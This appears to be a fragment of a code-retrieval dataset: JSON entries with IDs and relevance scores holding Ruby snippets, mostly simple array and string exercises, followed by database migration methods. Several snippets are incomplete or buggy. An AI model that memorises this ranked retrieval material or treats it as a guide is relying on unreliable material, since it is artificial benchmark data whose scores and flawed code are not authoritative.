"text": "def buy_fruit(list)\n list.each_with_object([]) do |item, arr|\n item[1].times { |_| arr << item[0] }\n end\nend",
"title": ""
},
{
"docid": "6aba03396945f8f22aa9cbb3e9de0877",
"score": "0.54891026",
"text": "def common_chars(arr)\n new_arr = []\n test_letters = arr[0].chars.uniq\n test_letters.each do |letter|\n count = arr[0].count(letter)\n arr.each do |word|\n temp_count = word.count(letter)\n count = temp_count if temp_count < count \n end\n new_arr += [letter] * count \n end\n new_arr\nend",
"title": ""
},
{
"docid": "a5ce466a2f31dfb22a1a6049a30ca855",
"score": "0.54879165",
"text": "def lets_premute_even_more(array)\n i = 0\n output_array = []\n\n while i < array.length\n first_letter = array[i]\n j = 0\n while j < array.length\n if i == j\n else\n second_letter = array[j]\n combo = first_letter + second_letter\n output_array << combo\n end\n j += 1\n end\n i += 1\n end\n return output_array\nend",
"title": ""
},
{
"docid": "ab9e6f27bf9cc188bfc83b0ae069e53e",
"score": "0.5481925",
"text": "def consensus bases\n bases.\n map(&:upcase).\n group_by(&:itself).\n sort_by { |_, bases| bases.count }.\n reverse.\n first.\n first\n end",
"title": ""
},
{
"docid": "e75353483ba3ec4316ddda84957f738e",
"score": "0.5473007",
"text": "def sort3(strings, length)\n i = length - 1 \n letters = (\"a\"..\"z\").to_a\n while i >= 0 \n # O(k)\n buckets = Array.new(26) {[]}\n strings.each do |string|\n buckets[letters.find_index(string[i])] << string \n # O(n)\n end \n strings = buckets.flatten\n i-=1\n end \n p strings\nend",
"title": ""
},
{
"docid": "161d1f91579449c598a64d3a40172827",
"score": "0.5470208",
"text": "def list a\n i = 1\n l = {}\n a.map{|t| t.downcase}.uniq.sort.each { |s|\n l[i] = s\n i += 1\n }\n l\nend",
"title": ""
},
{
"docid": "b9138f5e1a988ed9c8dcb2f791fee260",
"score": "0.54689324",
"text": "def DistinctList(arr)\n\n return arr.size - arr.uniq.size\n \nend",
"title": ""
},
{
"docid": "081848a3f18e7d36a827296b59d8ed97",
"score": "0.54644096",
"text": "def combos(cards)\n cards.to_a.combination(3).to_a\n end",
"title": ""
},
{
"docid": "f2785d90eb92e94d725addc188fd3e21",
"score": "0.54644",
"text": "def switch_pairs(list)\n new_list = []\n (list.length / 2).times do\n new_list << list[1]\n new_list << list[0]\n list.delete_at(0)\n list.delete_at(0)\n end\n if list[0]\n new_list << list[0]\n end\n return new_list\nend",
"title": ""
},
{
"docid": "122a2f8b3d78964f0995d04bb765834f",
"score": "0.5463702",
"text": "def every_third(arr)\n new_arr = []\n arr.each_with_index do |letter, idx|\n new_arr.push(letter) if (idx + 1) % 3 == 0\n end\n new_arr\nend",
"title": ""
},
{
"docid": "121ffc69d4eccfdf2f6c80e2bde4b544",
"score": "0.54620147",
"text": "def letters_before(character)\n\t\n\t alphabet_storage = []\n results = []\n \n (\"a\"..\"z\").each do |i|\n \t alphabet_storage << i\n end\n \n starting_position = alphabet_storage.index(character) \n i = 0\n \n until i == starting_position\n results << alphabet_storage[i]\n i += 1\n end\n \n puts \"#{results}\"\nend",
"title": ""
},
{
"docid": "2b10a5813d9a00afc073077f061198d8",
"score": "0.5459161",
"text": "def non_unique_letters(string)\n arr = string.split.join.split('')\n arr.select { |c| c if arr.count(c) > 1 }.uniq.sort\nend",
"title": ""
},
{
"docid": "f08dda379d968391f10f83238cc2754b",
"score": "0.5446649",
"text": "def unique_elements(arr)\n hash = Hash.new(0)\n arr.each {|el| hash[el] += 1}\n return hash.keys\n\nend",
"title": ""
},
{
"docid": "202f4b7ba746871c708e5338b6c4d63a",
"score": "0.54390234",
"text": "def acct_groups(namelist)\n\tfull_size = namelist.size\n\tsize_of_group = 4 #because I counted the full list and counted 88 members... not sure how you'd go about it without having that number available\n\tnumber_of_groups = full_size / size_of_group #In this case 88/4 = 22\n\trandom_order = namelist.shuffle\n\tgroups = Array.new(number_of_groups) {[]}\n\t\tuntil random_order.empty?\n\t\t\tgroups.each do |group| \n\t\t\tgroup << (random_order.pop)\n\t\t\tend\n\t\tend\n\t\nreturn groups\nend",
"title": ""
},
{
"docid": "33f5987f1922eafaa91601ba1c857979",
"score": "0.5434606",
"text": "def unique(a)\n arr = a.split(//)\n split = []\n\n for i in 0...arr.size - 1\n if arr[i] != arr[i+1]\n split << i+1\n end\n end\n \n unique = []\n step = 0\n\n for i in 0..split.size - 1\n res = []\n for j in step...split[i]\n res << arr[j]\n step += 1\n end\n unique << res.uniq\n end\n \n reslust = unique.flatten << arr.last\n reslust\nend",
"title": ""
},
{
"docid": "26e4b931264bee396ecac351678610fe",
"score": "0.54339904",
"text": "def consecutive_collapse(arr)\nend",
"title": ""
},
{
"docid": "3f2e3a4875579754f4e75ce5ad2e6705",
"score": "0.5432419",
"text": "def create_an_array\n [\"oranges\",\"apples\",\"kiwis\",\"mangos\"]\nend",
"title": ""
},
{
"docid": "6ec4d14d51b4b57dce1e4cb04a5cc34c",
"score": "0.5426928",
"text": "def using_uniq(array)\n\n \nend",
"title": ""
},
{
"docid": "f7928116b4049c2f57610c956e7908f0",
"score": "0.5422692",
"text": "def lAS(n: 0)\n array = [1]\n puts \"#{array.inspect}\"\n previous = array.first\n new_array = []\n counter = 0\n \n n.times do\n previous = array.first\n counter = 0\n new_array = []\n \n array.each do |element|\n if(element == previous)\n counter = counter + 1\n else\n new_array << counter\n new_array << previous\n counter = 1\n previous = element\n end\n end\n \n new_array << counter\n new_array << previous\n array = new_array.dup\n puts \"#{array.inspect}\"\n end\nend",
"title": ""
},
{
"docid": "ecfb6110b8f5fc25e608b743c10bcb9c",
"score": "0.5422117",
"text": "def distinct_subseq_ii(s)\n alphabets = ('a'..'z').to_a\n dict = Array.new(27, 0)\n mod = 10 ** 9 + 7\n total = 1\n s.chars.each do |char|\n index = alphabets.index(char) + 1\n combo = total * 2 - dict[index]\n dict[index] = total # if 'c' ever appears again, it will clash with the current combos.\n total = combo < 0 ? 0 + mod : combo % mod\n end\n total - 1 # subtract empty string\nend",
"title": ""
},
{
"docid": "6f1388d0c40da4947ecceed94242d935",
"score": "0.541961",
"text": "def solution(list)\n split_list = list.sort!.chunk_while { |n, m| n.next == m }\n split_list.map do |ary|\n if ary.length > 2\n \"#{ary.first}-#{ary.last}\"\n else\n ary.join(',')\n end\n end.join(',')\nend",
"title": ""
},
{
"docid": "efa4e933b5bdf3ad2761cbcc3345fe52",
"score": "0.5412509",
"text": "def acc_group(names)\n\tnames.shuffle!\n\tgroups = names.each_slice(4).to_a\n\tif names.length % 4 == 1\n\t\tgroups[0] << groups.last[0]\n\t\tgroups.pop\n\telsif names.length % 4 == 2\n\t\tgroups[0] << groups.last[0]\n\t\tgroups[1] << groups.last[1]\n\t\tgroups.pop\n\telsif names.length % 4 == 3\n\t\tgroups[0] << groups.last[0]\n\t\tgroups[1] << groups.last[1]\n\t\tgroups[2] << groups.last[2]\n\t\tgroups.pop\n\tend\n\ti = 1\n\twhile i <= groups.length\n\t\tputs \"Group \" + i.to_s\n\t\tputs groups[i-1]\n\t\ti += 1\n\tend\nend",
"title": ""
},
{
"docid": "28068770e0ddb3b35ff817bb3b23f352",
"score": "0.5396055",
"text": "def remove_duplicates(char_array)\n #\n # Given an array of chars [\"A\", \"b\", \"c\", \"C\", \"D\", \"E\", \"F\"]\n #\n # Will an array with adjoining lower-case<->capital pairs removed\n #\n # \"[\"A\", \"b\", \"c\", \"C\", \"D\", \"E\", \"F\"] => [\"A\", \"b\", \"D\", \"E\", \"F\"]\n #\n # Note that this will compare idx=0 <=> idx=1 , idx=2 <=> idx=3, ..\n # It will not compare idx=1 to idx=2\n #\n # As such, this function should be called twice, once with first character offset\n # See `remove_all_duplicates` for implementation\n #\n char_array.each_slice(2).reject { |x| \n /[[:upper:]]/.match(x.first) ? x.first.downcase == x.last : x.first.upcase == x.last\n }.flatten\nend",
"title": ""
},
{
"docid": "8e4c4f0a8f8ac339c66b424a4a722de5",
"score": "0.53950775",
"text": "def single_values\n repeats.select { |value, repeats| repeats.count == 1 }.map(&:first).sort.reverse\n end",
"title": ""
},
{
"docid": "ba68fea1acfd6de7ac13d1ce9b07e1da",
"score": "0.5387073",
"text": "def uniq(array)\n counts = Hash.new(0)\n result = []\n array.each do |element|\n counts[element] += 1\n result << element unless counts[element] > 1\n end\n result\nend",
"title": ""
},
{
"docid": "353f65c0ccb44deeec54b4e7bbf35765",
"score": "0.53760445",
"text": "def repeated_number_ranges(numbers)\n result = []\n initializer = nil\n i = 0\n while i < numbers.length\n if numbers[i] == numbers[i + 1]\n initializer = i if initializer.nil?\n elsif !initializer.nil?\n result << [initializer, i]\n initializer = nil\n end\n i += 1\n end\n result\nend",
"title": ""
},
{
"docid": "93d754211888a9e539607395c79736a0",
"score": "0.5371922",
"text": "def frequent_letters(string)\n array = []\n count = Hash.new(0)\n string.each_char { |c| count[c] += 1 }\n count.each { |k, v| array << k if v > 2}\n array\nend",
"title": ""
},
{
"docid": "53fa2965df854a83daa2e393a1b2d07b",
"score": "0.5368267",
"text": "def build_list_of_players\n [\n \"cliff\",\n \"anne\",\n \"harry\",\n \"sam\",\n \"devin\",\n \"ally\",\n \"bob\",\n \"jane\",\n \"jimmy\",\n \"dave\"\n ]\nend",
"title": ""
},
{
"docid": "e4b2e9fdb87cd457ee39539ba80229fb",
"score": "0.5367529",
"text": "def combinations(arr)\n res = []\n i = arr.length\n arr.each {|el|tem = [],ind= arr.index(el), (i-ind).times {i =ind, tem.push(el),tem.push(arr[i -= 1]) }}\nend",
"title": ""
},
{
"docid": "67c9a714d047345b6ab724a3d063fae7",
"score": "0.5364869",
"text": "def transposition\n (0...length-1).map { |i|\n string[0...i] +\n string[i+1, 1] +\n string[i,1] +\n string[i+2..-1]\n }.uniq\n end",
"title": ""
},
{
"docid": "3779b653b353c82adcabca5700b976e2",
"score": "0.5363535",
"text": "def group_adjacent_elements(list)\n list.reduce([]) do |result, element|\n if result.empty? || result.last.first != element\n result << [element]\n else\n result.last << element\n end\n\n result\n end\nend",
"title": ""
},
{
"docid": "ec5892f5976fd37d734a5e7c27b96973",
"score": "0.53585917",
"text": "def buy_fruit(array)\n new_list = []\n number = 0\n array.each do |fruit|\n number = fruit.pop\n number.times { new_list << fruit }\n end\n new_list.flatten\nend",
"title": ""
},
{
"docid": "eb71924e86d16f697a9704322d06c4d2",
"score": "0.53549033",
"text": "def buy_fruit(array)\n returner = []\n array.each{|subarray| subarray[1].times{returner << subarray[0]}}\n returner\nend",
"title": ""
},
{
"docid": "1287c1aaaeaf4fcd52e00d4078004ddd",
"score": "0.5352229",
"text": "def consecutive_collapse(array)\n new_arr = array.map {|el| el}\n\n i = 0\n while i < new_arr.length\n if (new_arr[i] + 1 == new_arr[i+1]) || (new_arr[i] - 1 == new_arr[i+1])\n new_arr.delete_at(i+1)\n new_arr.delete_at(i)\n i = 0\n else\n i += 1\n end\n end\n new_arr\nend",
"title": ""
},
{
"docid": "f3efdff825e17c8f5c7818de37a7565d",
"score": "0.5345491",
"text": "def group_by_starting_letter(arr_letters)\n #hash that itera and create a key with the first letter\n hash = Hash.new { |k, v| k[v] = [] }\n #put the word into the hash how an array\n arr_letters.each do |word|\n hash[word[0]] << word\n end\n #return the hash full\n hash\nend",
"title": ""
},
{
"docid": "6bd55e3f2f6baedf2fa72031a87fe7e8",
"score": "0.53431976",
"text": "def test_permutation_list\n assert_equal([\"aaa\"], get_permutation_list(\"aaa\"))\n assert_equal([\"abc\", \"acb\", \"bac\", \"bca\", \"cab\", \"cba\"],\n get_permutation_list(\"abc\"))\n end",
"title": ""
},
{
"docid": "29da97b44dba717efdabadb3489a7cdd",
"score": "0.53392017",
"text": "def first_non_repeating_letter(string)\n letter_group = letters.split('').group_by{ |x| x.downcase }\n uniqs = letter_group.reject{ |letter, arr| arr.count > 1 }.keys\n for x in 0..uniqs.length\n\n end\n\n\n\n # letters = string.split('')\n # letter_group = letters.group_by{ |x| x.downcase }\n # p letter_group\n # uniqs = letter_group.reject{ |letter, arr| arr.count > 1 }.keys\n # p uniqs\n # '' + uniqs[0].to_s\nend",
"title": ""
},
{
"docid": "12f3a4be190c3e4788c9025f7a8c1a09",
"score": "0.53348917",
"text": "def unique_items(arr) #O(n)\n hash = Hash.new(0)\n results = []\n arr.each do |el|\n hash[el] += 1\n end\n hash.select { |k, v| k if v == 1 }.keys\nend",
"title": ""
},
{
"docid": "7f8c62a6d331e399a375415b234560a2",
"score": "0.5333888",
"text": "def create_group(array)\n \n new_array = array.shuffle\n return new_array.each_slice(4).to_a\nend",
"title": ""
},
{
"docid": "7f8c62a6d331e399a375415b234560a2",
"score": "0.5333888",
"text": "def create_group(array)\n \n new_array = array.shuffle\n return new_array.each_slice(4).to_a\nend",
"title": ""
},
{
"docid": "9617fdf0ee709df91eaa1df8ec4e4d12",
"score": "0.532854",
"text": "def non_unique_letters(string)\n alpha = ('a'..'z').to_a\n our_new_letters = []\n counters = Hash.new(0)\n arr = string.downcase.split(\"\").select {|letter| string.count(letter) > 1}\n arr.each do |c|\n counters[c] += 1\n our_new_letters << c if counters[c] <= 1\n end\n our_new_letters.select {|x| alpha.include?(x)}\nend",
"title": ""
},
{
"docid": "38ffe96ff4ce1afcf3894f81a46e4a5b",
"score": "0.53220785",
"text": "def solution(a)\n a.uniq.count\nend",
"title": ""
},
{
"docid": "ea0026b7974427759559786b4d28e939",
"score": "0.5317691",
"text": "def alphabet\n alpha = []\n @transitions.each { |k,v| alpha += v.keys }\n Set.new(expand_symbols(alpha))\n end",
"title": ""
},
{
"docid": "c4adb51443745ded71662079ceb4be18",
"score": "0.531176",
"text": "def shuffler(a)\n a.flatten.shuffle.each_slice(2).to_a\nend",
"title": ""
},
{
"docid": "dae0d84e67ef41f49d0b7a5372e2847c",
"score": "0.5311738",
"text": "def buy_fruit(fruits)\n result = []\n fruits.each do |pair|\n pair.last.times { |i| result << pair.first}\n end\n result\nend",
"title": ""
},
{
"docid": "b4810cf8f42e37ae49a48127389ced97",
"score": "0.5310567",
"text": "def convert_array(str)\n return \"*invalid input*\" if (str.length < 3) || (str.length % 3 != 0)\n\n set = str.length / 3 # determines number of iterations for a full set\n ary = str.split('')\n\n n = str.length / 3 # track the number of chars remaining in the sets\n a = 0\n i = 0\n\n for i in (1...set)\n ## insert method puts char BEFORE current index\n ## i represents the number of sets that have been itterated\n b = a + n\n b_value = ary.slice!(b)\n ary.insert(a + 1, b_value)\n\n c = b + n\n c_value = ary.slice!(c)\n ary.insert(a + 2, c_value)\n\n n -= 1 # all sets reduced by 1\n a += 3\n end\n\n ary.join\n\nend",
"title": ""
},
{
"docid": "79e61d7c60014457b7e86b619327d1d9",
"score": "0.530765",
"text": "def custom_uniq(array)\n final = []\n array.each do |element|\n final << element if !final.include?(element)\n end \n final\nend",
"title": ""
},
{
"docid": "02c3a46c77f47e57033a42282c37147d",
"score": "0.53072286",
"text": "def get_abas(a)\n abas = []\n 0.upto(a.length) do |index|\n if (a[index+2] == nil)\n next\n else\n if (a[index] == a[index+2] && a[index] != a[index+1])\n abas << a[index] + a[index+1] + a[index+2]\n end\n end\n end\n return abas\nend",
"title": ""
},
{
"docid": "c7d822b43a65e250089d6ec2bda81cd4",
"score": "0.5307031",
"text": "def jumble_sort(str, alphabet = (\"a\"..\"z\"))\n char_count = Hash.new(0)\n str.each_char { |c| char_count[c] += 1 }\n jumbled_str = \"\"\n alphabet.each do |c|\n (0...char_count[c]).each { |n| jumbled_str << c }\n end\n jumbled_str\nend",
"title": ""
},
{
"docid": "52cfebbbc9c7a3257cc77323dce0cfac",
"score": "0.5306944",
"text": "def triple_cut\r\n a = @deck.index( 'A' )\r\n b = @deck.index( 'B' )\r\n a, b = b, a if a > b\r\n @deck.replace( [@deck[(b + 1)..-1], @deck[a..b], @deck[0...a]].flatten )\r\n end",
"title": ""
},
{
"docid": "efc807c3371476412f607c29543a434f",
"score": "0.53034407",
"text": "def unique_elements(arr)\n my_hash = Hash.new(0)\n arr.each do |element|\n my_hash[element] += 1\n end\n return my_hash.keys\nend",
"title": ""
},
{
"docid": "d2224f4b1d1f7d5be30fd665e1a28258",
"score": "0.5302358",
"text": "def get_gaps (array)\n return [] if array.empty?\n (array.first .. array.last).to_a - array\nend",
"title": ""
},
{
"docid": "38a4d4911140de4492d10a1efb892256",
"score": "0.5297392",
"text": "def to_multiset_simple n\n @set.permutation(n).to_a.sort_by { rand }\n end",
"title": ""
},
{
"docid": "3d296e8c73515bb8e09f5f46902c8a47",
"score": "0.5290489",
"text": "def duplicates_subarray3(arr)\n arr.uniq.map { |elm| [elm] * arr.count(elm)}.sort_by {|subarr| subarr[0].ord }\nend",
"title": ""
},
{
"docid": "1ed7b5ab5250f6069a60e5e156d3db81",
"score": "0.52900255",
"text": "def buy_fruit(arr)\n arr.each_with_object([]) do |pair, all_fruit|\n pair.last.times { |fruit| all_fruit << pair.first }\n end\nend",
"title": ""
},
{
"docid": "f3685b2de57a04628d9148f04144db14",
"score": "0.5286047",
"text": "def non_unique_letters(string)\n string.chars.reduce([]) do |array,letter|\n if string.count(letter) > 1 && array.include?(letter) == false && letter != \" \"\n array << letter\n else\n array\n end\n end\nend",
"title": ""
},
{
"docid": "8daecf1d0d70f46cf10d6077a17be34b",
"score": "0.52833915",
"text": "def my_uniq(arr)\n hashed = arr.map {|value| [value, arr.count(value)]}.flatten\n return Hash[*hashed].keys\nend",
"title": ""
},
{
"docid": "648293ffb09081c8e16b41884a173089",
"score": "0.5279893",
"text": "def unique_in_order(iterable)\r\n iterable = iterable.class == String ? iterable.split('') : iterable\r\n iterable.select.with_index { |v,k| v != iterable[k+1] }\r\nend",
"title": ""
},
{
"docid": "578e499eb5dda1035d99a6da94730fe9",
"score": "0.52762055",
"text": "def alteration\n (0...length).flat_map { |i|\n LETTERS.map { |letter|\n string.dup.tap { |w| w[i] = letter }\n }\n }.uniq\n end",
"title": ""
},
{
"docid": "6073da548e0005d63ca834f8a31d9ddb",
"score": "0.527365",
"text": "def solution(a)\r\n # write your code in Ruby 2.2\r\n \r\n arr =[]\r\n a.each_with_index{|el,i|\r\n \r\n if !arr.index(el) \r\n arr << el\r\n end\r\n \r\n }\r\n arr.count\r\nend",
"title": ""
},
{
"docid": "979dfc5b49fe7c61ebe93b6e9cd12365",
"score": "0.52724063",
"text": "def repeated_number_ranges(arr)\n counter = 0\n answer = []\n while counter < arr.length\n temp = []\n while arr[counter] == arr[counter + 1]\n if temp.length == 0\n temp << counter\n end\n counter += 1\n end\n if temp.length == 1\n temp << counter\n answer << temp \n end\n counter += 1\n end\nanswer\nend",
"title": ""
},
{
"docid": "8ef075593e466463bfc75b93763ce8a3",
"score": "0.52706045",
"text": "def make_list(array)\n array.compact!\n new_array = []\n number = 0\n array.each do |item|\n number += 1\n new_array << \"#{number}. #{item}\"\n end \n new_array\nend",
"title": ""
},
{
"docid": "847c292043079ee737841ebc06b59dba",
"score": "0.5266753",
"text": "def unique_elements(arr)\n hash = Hash.new(0)\n arr.each { |ele| hash[ele] += 1}\n hash.keys\nend",
"title": ""
},
{
"docid": "3430b2be4b6f83847bd7809cff22653b",
"score": "0.5266663",
"text": "def repeated_chars(word)\n finalArray = []\n array = word.split(\"\")\n boolean = false\n array.each_with_index do |element, index|\n array.each_with_index do |element2, index2|\n if index + 1 == index2 && element == element2 && boolean == false\n finalArray.push(element)\n boolean = true\n elsif index + 1 == index2 && element != element2\n boolean = false\n end\n end\n end\n return finalArray\n \nend",
"title": ""
},
{
"docid": "31095eee617f2ac7bfafff563087ac67",
"score": "0.5258664",
"text": "def consecutives(size)\n Enumerator.new do |enum|\n ps = Prime.lazy\n a = Prime.take(size)\n size.times{ps.next}\n loop do \n enum << a.dup\n ( a << ps.next ).shift\n end\n end\nend",
"title": ""
},
{
"docid": "c8961eb0c4538f9999f582a6475d1e24",
"score": "0.5255143",
"text": "def actors \n characters.map { | characters | characters.actor}.uniq\n end",
"title": ""
},
{
"docid": "77509a92447aeecde752330819b77940",
"score": "0.52537555",
"text": "def permutation (array)\n# yields permutation set WITH duplicates\nend",
"title": ""
},
{
"docid": "17aa54032678d4ea34ad177569e3d7f7",
"score": "0.52519166",
"text": "def solution(string) # \"ABCA\",\n # TIME O(N) + O(N) = O(2N) ~~ O(N)\n # SPACE O(N)\n\n array = string.split(\"\") # w[A B C A], O(N)\n array_exist = [] # [B C]\n array.each do |s| # O(N), N= 1000_000\n if array_exist.include?(s)\n array_exist.delete(s)\n else\n array_exist.push(s)\n end\n end\n array_exist[0]\nend",
"title": ""
},
{
"docid": "3abaab9ea30b958f8d8a4e0b07f66e58",
"score": "0.52482355",
"text": "def only_unique_elements(arr)\n newHash = Hash.new(0)\n\n arr.each{|x|newHash[x]=1}\n \n newHash.to_a.flatten().select{|x|x.is_a?(String)==true}\nend",
"title": ""
}
] |
1dcc744290245a6becefa804768c3498
|
rubocop:disable Metrics/MethodLength rubocop:disable Metrics/AbcSize method to execute normal migration
|
[
{
"docid": "01628ffea48b2e2b8aac2790ff0c7b20",
"score": "0.6061395",
"text": "def normal\n msg = @database_reversed ? 'Starting an abnormal migration (KAWALE CASE)' : 'Starting a normal migration'\n print_time message: msg, long_form: true\n ANCMappingMigration.new(@database, @confidence).map_linkage_between_anc_and_openmrs\n not_linked = fetch_unmapped_patients\n mapped = fetch_mapped_patients\n # rubocop:disable Metrics/BlockLength\n ActiveRecord::Base.transaction do\n handle_provider_movement\n update_openmrs_users\n migrate_user_role\n migrate_person(fetch_missed_persons, 'Migrating Person details who are neither patients nor system users')\n # migrate_person(fetch_missed_patients, 'Migrating Person details for missed patients')\n migrate_person(not_linked, 'Migrating Person Details for those without any linkage')\n migrate_person_name(fetch_missed_persons,\n 'Migrating Person Name details who are neither patients nor system users')\n # migrate_person_name(fetch_missed_patients, 'Migrating Person Name details for missed patients')\n migrate_person_name(not_linked, 'Migrating Person Name Details for those without any linkage')\n migrate_person_address(fetch_missed_persons,\n 'Migrating Person Address details who are neither patients nor system users')\n # migrate_person_address(fetch_missed_patients, 'Migrating Person Address details for missed patients')\n migrate_person_address(not_linked, 'Migrating Person Address Details for those without any linkage')\n migrate_person_attribute(fetch_missed_persons,\n 'Migrating Person Attributes details who are neither patients nor system users')\n # migrate_person_attribute(fetch_missed_patients, 'Migrating Person Attributes details for missed patients')\n migrate_person_attribute(not_linked, 'Migrating Person Attributes Details for those without any linkage')\n migrate_patient(not_linked, 'Migrating Patient Details for those without any linkage')\n # migrate_patient(fetch_missed_patients, 'Migrating Patient Details for missed patients')\n migrate_patient_identifier(not_linked, 'Migrating Patient Identifier Details for those without any linkage')\n # migrate_patient_identifier(fetch_missed_patients, 'Migrating Patient Details for missed patients')\n # migrate_patient_program(fetch_missed_patients, 'Migrating Patient Program Details for missed patients')\n migrate_patient_program(mapped, 'Migrating Patient Program Details for those linked', linked: true)\n migrate_patient_program(not_linked, 'Migrating Patient Program Details for those without any linkage')\n # migrate_patient_state(fetch_missed_patients, 'Migrating Patient State Details for missed patients')\n migrate_patient_state(mapped, 'Migrating Patient State for those linked')\n provider_change_history\n change_provider_to_the_default_system_user\n migrate_patient_state(not_linked, 'Migrating Patient State for those without any linkage')\n # migrate_encounter_system_users(fetch_missed_patients, 'Migrating Patient encounter for missed patients')\n migrate_encounter_system_users(mapped,\n 'Migrating Patient encounter details for those linked whose provider is a system user', linked: true)\n migrate_encounter_system_users(not_linked,\n 'Migrating Patient encounter details for those without any linkage whose provider is a system user')\n # migrate_obs(fetch_missed_patients, 'Migrating Patient Observations for missed patients')\n migrate_obs(mapped, 'Migratig patient observations for those linked', linked: true)\n migrate_obs(not_linked, 'Migrating patient observations for those without any linkage')\n # migrate_orders(fetch_missed_patients, 'Migrating Patient orders for missed patients')\n migrate_orders(mapped, 'Migrating patient orders for those linked', linked: true)\n migrate_orders(not_linked, 'Migrating patient orders for those without any linkage')\n # migrate_drug_order(fetch_missed_patients, 'Migrating Patient Drug orders for missed patients')\n migrate_drug_order(mapped, 'Migrating patient drug orders for those linked')\n migrate_drug_order(not_linked, 'Migrating patient drug orders for those without any linkage')\n if @database_reversed\n ANCService::ANCMissedMigration.new({ max_person_id: @person_id,\n max_user_id: @user_id, max_patient_program_id: @patient_program_id,\n max_encounter_id: @encounter_id, max_obs_id: @obs_id,\n max_order_id: @order_id, database: @database }).main\n end\n update_migrated_records\n end\n # rubocop:enable Metrics/BlockLength\n create_migration_residuals\n remove_holding_tables if @database_reversed\n msg = @database_reversed ? 'Abnormal migratrion finished' : 'Normal migratrion finished'\n print_time message: msg, long_form: true\n end",
"title": ""
}
] |
[
{
"docid": "4853d7c5f5d4f8ccd71178af47db6e83",
"score": "0.8094061",
"text": "def run_migration; end",
"title": ""
},
{
"docid": "16bf051cc67b978a255660570dca38e8",
"score": "0.71798044",
"text": "def execute_migrations!\n migrations = [MakeStandardTables, FixAttachmentsPolymorphicTable]\n existing = SchemaMigration.all.collect{ |el| el.version }\n\n migrations.reject!{ |e| existing.include? e.to_s}\n\n migrations.each do |migration|\n ActiveRecord::Migration.run(migration)\n SchemaMigration.create(:version => migration.name)\n end\n end",
"title": ""
},
{
"docid": "1f6c05c03e30549491b72ec96553510b",
"score": "0.71588683",
"text": "def migrate_commands; end",
"title": ""
},
{
"docid": "1350df962a3dae5b43513faa3a5221b1",
"score": "0.7143723",
"text": "def schema_migration; end",
"title": ""
},
{
"docid": "e4ac465087e26c5e42bcf5b8e0742334",
"score": "0.7034323",
"text": "def migrate!\n invoke [:migrate]\n end",
"title": ""
},
{
"docid": "9898af214361ab417817298162cffcd2",
"score": "0.693449",
"text": "def migrate(direction); end",
"title": ""
},
{
"docid": "e18ddff5b3ddae9187096b0b381f8565",
"score": "0.6797026",
"text": "def run\n migration_tuples.each do |m, f, direction|\n t = Time.now\n db.log_info(\"Begin applying migration #{f}, direction: #{direction}\")\n checked_transaction(m) do\n m.apply(db, direction)\n fi = f.downcase\n direction == :up ? ds.insert(column=>fi) : ds.where(column=>fi).delete\n end\n db.log_info(\"Finished applying migration #{f}, direction: #{direction}, took #{sprintf('%0.6f', Time.now - t)} seconds\")\n end\n nil\n end",
"title": ""
},
{
"docid": "c126844d4f1a8836f36dff62c690b67c",
"score": "0.6763358",
"text": "def migrate_db\n run_migrations\n end",
"title": ""
},
{
"docid": "4dde74d1eb24c64a251b8cb2830db84c",
"score": "0.67619205",
"text": "def migrate(version = nil)\n @logger.fine('Running core migrations...')\n super(File.join(FRAMEWORK_ROOT, 'automation/results_database/migrations'), version)\n end",
"title": ""
},
{
"docid": "bb58cd333ad8f8818ff46813a6e1184f",
"score": "0.67504156",
"text": "def exec_migration(conn, direction)\n super unless Rails.env.production?\n end",
"title": ""
},
{
"docid": "0676c62518731d8342829210f3dbcf60",
"score": "0.66938436",
"text": "def apply #:nodoc:\n setup\n @direction == :up ? migrate_up : migrate_down\n end",
"title": ""
},
{
"docid": "f82c8cbd18b505e9ed852f3affeccc95",
"score": "0.6611851",
"text": "def before_migration\n\t\t\treturn true\n\t\tend",
"title": ""
},
{
"docid": "85e39d5044fbf439efbf7a8f1ed60e4a",
"score": "0.65927446",
"text": "def migrate_without_lock; end",
"title": ""
},
{
"docid": "4b405945a4caf381e2ac26665640fcf8",
"score": "0.6591722",
"text": "def run_migrations\n # Currently this will always run so the resource will always update :-/\n # Better fix would be to shell_out! and parse the output?\n ruby_execute 'rake db:migrate' do\n command %w{rake db:migrate}\n user new_resource.parent.owner\n group new_resource.parent.group\n cwd new_resource.parent.path\n environment new_resource.app_state_environment\n ruby_from_parent new_resource\n parent_bundle new_resource.parent_bundle if new_resource.parent_bundle\n end\n end",
"title": ""
},
{
"docid": "6cb50461bdced02130d52635fa0f4832",
"score": "0.65725285",
"text": "def run_migrations(options = {})\n migrator.run(options)\n end",
"title": ""
},
{
"docid": "248c2985c5beb7181dc13a051d50565b",
"score": "0.6562166",
"text": "def run(*migration_classes); end",
"title": ""
},
{
"docid": "41930003ba9c8f81337045cc7ce6432e",
"score": "0.6553609",
"text": "def migrations(org, options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "6813089d7f1c934f633fc84668ecb164",
"score": "0.6545188",
"text": "def migrate!\n _validate_required_configuration\n begin\n resp = @client.describe_table(table_name: @model_class.table_name)\n if _compatible_check(resp)\n nil\n else\n # Gotcha: You need separate migrations for indexes and throughput\n unless _throughput_equal(resp)\n @client.update_table(_update_throughput_opts(resp))\n @client.wait_until(\n :table_exists,\n table_name: @model_class.table_name\n )\n end\n unless _gsi_superset(resp)\n @client.update_table(_update_index_opts(resp))\n @client.wait_until(\n :table_exists,\n table_name: @model_class.table_name\n )\n end\n end\n rescue DynamoDB::Errors::ResourceNotFoundException\n # Code Smell: Exception as control flow.\n # Can I use SDK ability to skip raising an exception for this?\n @client.create_table(_create_table_opts)\n @client.wait_until(:table_exists, table_name: @model_class.table_name)\n end\n # At this stage, we have a table and need to check for after-effects to\n # apply.\n # First up is TTL attribute. Since this migration is not exact match,\n # we will only alter TTL status if we have a TTL attribute defined. We\n # may someday support explicit TTL deletion, but we do not yet do this.\n if @ttl_attribute\n unless _ttl_compatibility_check\n client.update_time_to_live(\n table_name: @model_class.table_name,\n time_to_live_specification: {\n enabled: true,\n attribute_name: @ttl_attribute\n }\n )\n end # Else TTL is compatible and we are done.\n end # Else our work is done.\n end",
"title": ""
},
{
"docid": "36cef3d4ab03d145f215106c4829c362",
"score": "0.64981747",
